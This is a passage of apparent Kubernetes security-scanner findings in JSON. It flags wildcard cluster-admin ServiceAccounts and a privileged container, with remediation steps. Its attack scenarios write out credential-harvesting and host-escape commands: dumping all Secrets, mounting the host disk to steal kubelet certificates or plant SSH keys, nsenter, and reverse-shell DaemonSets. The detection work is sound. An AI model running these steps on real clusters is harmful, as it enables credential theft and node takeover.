      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:clusterAdminStyle"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-001:ServiceAccount/flux-system/kustomize-controller",
    "rule_id": "KUBE-SA-PRIVILEGED-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/flux-system/kustomize-controller` holds wildcard verbs on wildcard resources (cluster-admin equivalent)",
    "description": "ServiceAccount `ServiceAccount/flux-system/kustomize-controller` is bound to a Role/ClusterRole that grants `verbs: [*]` on `resources: [*]` (and typically `apiGroups: [*]`). This is structurally indistinguishable from `cluster-admin`. Every API operation on every resource is authorized.\n\nAggregated rules:\n  - verbs [*] on resources [*] (from deepchain-flux-admin/cluster-admin in cluster-wide)\n  - verbs [*] on resources [] (from deepchain-flux-admin/cluster-admin in cluster-wide)\n\nWildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting `cluster-admin` for an operator the team didn't have time to scope down; (b) a wildcard added \"temporarily\" during integration that never got rotated; (c) a third-party operator's installer that ships with `*/*` and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.\n\nWorkloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "namespace": "flux-system",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `flux-system/kustomize-controller`: namespace-scoped subject; mounted by pods in `flux-system`"
    },
    "impact": "A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.",
    "attack_scenario": [
      "Attacker compromises any of the workloads using `ServiceAccount/flux-system/kustomize-controller` (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).",
      "They `kubectl auth can-i '*' '*' --all-namespaces --token=\u003cstolen-token\u003e` and confirm full reach.",
      "They `kubectl get secrets -A -o yaml` to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).",
      "They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with `failurePolicy: Ignore` so removal does not break clusters.",
      "They cover by deleting their own audit-log entries via `kubectl delete events` (allowed under `*/*`) and rotating the SA's token to invalidate IR's existing copies."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "deepchain-flux-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "deepchain-flux-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": null
    },
    "remediation": "Replace the wildcard binding on `ServiceAccount/flux-system/kustomize-controller` with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.",
    "remediation_steps": [
      "Identify the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"kustomize-controller\" and .namespace == \"flux-system\")'`.",
      "Generate a least-privilege role from the workload's actual API calls. Capture them with `audit2rbac` (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.",
      "Create a Role/ClusterRole with the minimum verbs and bind it to `ServiceAccount/flux-system/kustomize-controller`. Verify with `kubectl auth can-i` for the actual operations the workload needs (and only those).",
      "Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.",
      "Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting `verbs: ['*']` on `resources: ['*']` to a non-system subject."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:clusterAdminStyle"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-001:ServiceAccount/foothold-exec/foothold-decoy-sa",
    "rule_id": "KUBE-SA-PRIVILEGED-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` holds wildcard verbs on wildcard resources (cluster-admin equivalent)",
    "description": "ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` is bound to a Role/ClusterRole that grants `verbs: [*]` on `resources: [*]` (and typically `apiGroups: [*]`). This is structurally indistinguishable from `cluster-admin`. Every API operation on every resource is authorized.\n\nAggregated rules:\n  - verbs [*] on resources [*] (from foothold-decoy-admin/cluster-admin in cluster-wide)\n  - verbs [*] on resources [] (from foothold-decoy-admin/cluster-admin in cluster-wide)\n\nWildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting `cluster-admin` for an operator the team didn't have time to scope down; (b) a wildcard added \"temporarily\" during integration that never got rotated; (c) a third-party operator's installer that ships with `*/*` and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.\n\nWorkloads using this SA: Pod/foothold-exec/foothold-decoy. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `foothold-exec/foothold-decoy-sa`: namespace-scoped subject; mounted by pods in `foothold-exec`"
    },
    "impact": "A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.",
    "attack_scenario": [
      "Attacker compromises any of the workloads using `ServiceAccount/foothold-exec/foothold-decoy-sa` (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).",
      "They `kubectl auth can-i '*' '*' --all-namespaces --token=\u003cstolen-token\u003e` and confirm full reach.",
      "They `kubectl get secrets -A -o yaml` to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).",
      "They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with `failurePolicy: Ignore` so removal does not break clusters.",
      "They cover by deleting their own audit-log entries via `kubectl delete events` (allowed under `*/*`) and rotating the SA's token to invalidate IR's existing copies."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "foothold-decoy-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "foothold-decoy-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "foothold-decoy",
          "namespace": "foothold-exec"
        }
      ]
    },
    "remediation": "Replace the wildcard binding on `ServiceAccount/foothold-exec/foothold-decoy-sa` with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.",
    "remediation_steps": [
      "Identify the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"foothold-decoy-sa\" and .namespace == \"foothold-exec\")'`.",
      "Generate a least-privilege role from the workload's actual API calls. Capture them with `audit2rbac` (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.",
      "Create a Role/ClusterRole with the minimum verbs and bind it to `ServiceAccount/foothold-exec/foothold-decoy-sa`. Verify with `kubectl auth can-i` for the actual operations the workload needs (and only those).",
      "Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.",
      "Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting `verbs: ['*']` on `resources: ['*']` to a non-system subject."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:clusterAdminStyle"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-001:ServiceAccount/rbac-fixtures/sa-cluster-admin",
    "rule_id": "KUBE-SA-PRIVILEGED-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-cluster-admin` holds wildcard verbs on wildcard resources (cluster-admin equivalent)",
    "description": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-cluster-admin` is bound to a Role/ClusterRole that grants `verbs: [*]` on `resources: [*]` (and typically `apiGroups: [*]`). This is structurally indistinguishable from `cluster-admin`. Every API operation on every resource is authorized.\n\nAggregated rules:\n  - verbs [*] on resources [*] (from crb-cluster-admin/cluster-admin in cluster-wide)\n  - verbs [*] on resources [] (from crb-cluster-admin/cluster-admin in cluster-wide)\n\nWildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting `cluster-admin` for an operator the team didn't have time to scope down; (b) a wildcard added \"temporarily\" during integration that never got rotated; (c) a third-party operator's installer that ships with `*/*` and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.\n\nWorkloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `rbac-fixtures/sa-cluster-admin`: namespace-scoped subject; mounted by pods in `rbac-fixtures`"
    },
    "impact": "A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.",
    "attack_scenario": [
      "Attacker compromises any of the workloads using `ServiceAccount/rbac-fixtures/sa-cluster-admin` (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).",
      "They `kubectl auth can-i '*' '*' --all-namespaces --token=\u003cstolen-token\u003e` and confirm full reach.",
      "They `kubectl get secrets -A -o yaml` to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).",
      "They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with `failurePolicy: Ignore` so removal does not break clusters.",
      "They cover by deleting their own audit-log entries via `kubectl delete events` (allowed under `*/*`) and rotating the SA's token to invalidate IR's existing copies."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "crb-cluster-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "crb-cluster-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": null
    },
    "remediation": "Replace the wildcard binding on `ServiceAccount/rbac-fixtures/sa-cluster-admin` with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.",
    "remediation_steps": [
      "Identify the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"sa-cluster-admin\" and .namespace == \"rbac-fixtures\")'`.",
      "Generate a least-privilege role from the workload's actual API calls. Capture them with `audit2rbac` (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.",
      "Create a Role/ClusterRole with the minimum verbs and bind it to `ServiceAccount/rbac-fixtures/sa-cluster-admin`. Verify with `kubectl auth can-i` for the actual operations the workload needs (and only those).",
      "Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.",
      "Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting `verbs: ['*']` on `resources: ['*']` to a non-system subject."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:clusterAdminStyle"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-001:ServiceAccount/rbac-fixtures/sa-wildcard",
    "rule_id": "KUBE-SA-PRIVILEGED-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-wildcard` holds wildcard verbs on wildcard resources (cluster-admin equivalent)",
    "description": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-wildcard` is bound to a Role/ClusterRole that grants `verbs: [*]` on `resources: [*]` (and typically `apiGroups: [*]`). This is structurally indistinguishable from `cluster-admin`. Every API operation on every resource is authorized.\n\nAggregated rules:\n  - verbs [*] on resources [*] (from crb-wildcard/cr-wildcard in cluster-wide)\n\nWildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting `cluster-admin` for an operator the team didn't have time to scope down; (b) a wildcard added \"temporarily\" during integration that never got rotated; (c) a third-party operator's installer that ships with `*/*` and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.\n\nWorkloads using this SA: Pod/rbac-fixtures/wildcard-app-85ff74597d-vjhw7, Deployment/rbac-fixtures/wildcard-app. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `rbac-fixtures/sa-wildcard`: namespace-scoped subject; mounted by pods in `rbac-fixtures`"
    },
    "impact": "A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.",
    "attack_scenario": [
      "Attacker compromises any of the workloads using `ServiceAccount/rbac-fixtures/sa-wildcard` (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).",
      "They `kubectl auth can-i '*' '*' --all-namespaces --token=\u003cstolen-token\u003e` and confirm full reach.",
      "They `kubectl get secrets -A -o yaml` to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).",
      "They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with `failurePolicy: Ignore` so removal does not break clusters.",
      "They cover by deleting their own audit-log entries via `kubectl delete events` (allowed under `*/*`) and rotating the SA's token to invalidate IR's existing copies."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "crb-wildcard",
          "source_role": "cr-wildcard",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "wildcard-app-85ff74597d-vjhw7",
          "namespace": "rbac-fixtures"
        },
        {
          "kind": "Deployment",
          "name": "wildcard-app",
          "namespace": "rbac-fixtures"
        }
      ]
    },
    "remediation": "Replace the wildcard binding on `ServiceAccount/rbac-fixtures/sa-wildcard` with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.",
    "remediation_steps": [
      "Identify the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"sa-wildcard\" and .namespace == \"rbac-fixtures\")'`.",
      "Generate a least-privilege role from the workload's actual API calls. Capture them with `audit2rbac` (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.",
      "Create a Role/ClusterRole with the minimum verbs and bind it to `ServiceAccount/rbac-fixtures/sa-wildcard`. Verify with `kubectl auth can-i` for the actual operations the workload needs (and only those).",
      "Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.",
      "Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting `verbs: ['*']` on `resources: ['*']` to a non-system subject."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:clusterAdminStyle"
    ]
  },
  {
    "id": "KUBE-ESCAPE-001:Deployment:foothold-fixtures:foothold-priv-app:app",
    "rule_id": "KUBE-ESCAPE-001",
    "severity": "CRITICAL",
    "score": 9.9,
    "category": "privilege_escalation",
    "title": "Privileged container `app` in `Deployment/foothold-fixtures/foothold-priv-app`",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-priv-app` is configured with `securityContext.privileged: true`. A privileged container retains every Linux capability (CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_NET_ADMIN, etc.), bypasses all Linux Security Module profiles (AppArmor/SELinux), runs without the default seccomp profile, and shares `/dev` with the host. From the kernel's perspective it is indistinguishable from a process running directly on the node.\n\nThis is the single most dangerous PodSpec setting: capability drops, read-only root filesystem, and `runAsNonRoot` are all neutralised because the container can simply remount, reload kernel modules, or call `setuid(0)`. The Pod Security Standards explicitly forbid privileged containers at both Baseline and Restricted levels.\n\nReal-world breakout: an attacker with code execution loads a kernel module with `insmod` (CAP_SYS_MODULE), or uses `mknod` to recreate `/dev/sda1`, mounts the host root, and writes to `/root/.ssh/authorized_keys`. Public exploit tooling (`deepce`, `kdigger -ac`, `kubeletmein`) automates these in seconds.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-priv-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-priv-app`"
    },
    "impact": "Full root on the host node: read every Secret on the node, exfiltrate the kubelet client certificate, schedule pods anywhere, and pivot to other nodes.",
    "attack_scenario": [
      "Attacker gains code execution inside the privileged pod (RCE, malicious image, SSRF→shell).",
      "They confirm the configuration with `kdigger dig admission` or `deepce.sh`.",
      "They mount the host filesystem: `mkdir /host \u0026\u0026 mount /dev/sda1 /host`.",
      "They steal kubelet credentials from `/host/var/lib/kubelet/pki/kubelet-client-current.pem` or write `/host/root/.ssh/authorized_keys`.",
      "With kubelet creds they list every Pod and Secret on the node, then escalate to cluster-admin via the cgroup-release-agent technique or `nsenter -t 1 -a`."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Remove `privileged: true` and explicitly grant only the Linux capabilities the workload actually needs.",
    "remediation_steps": [
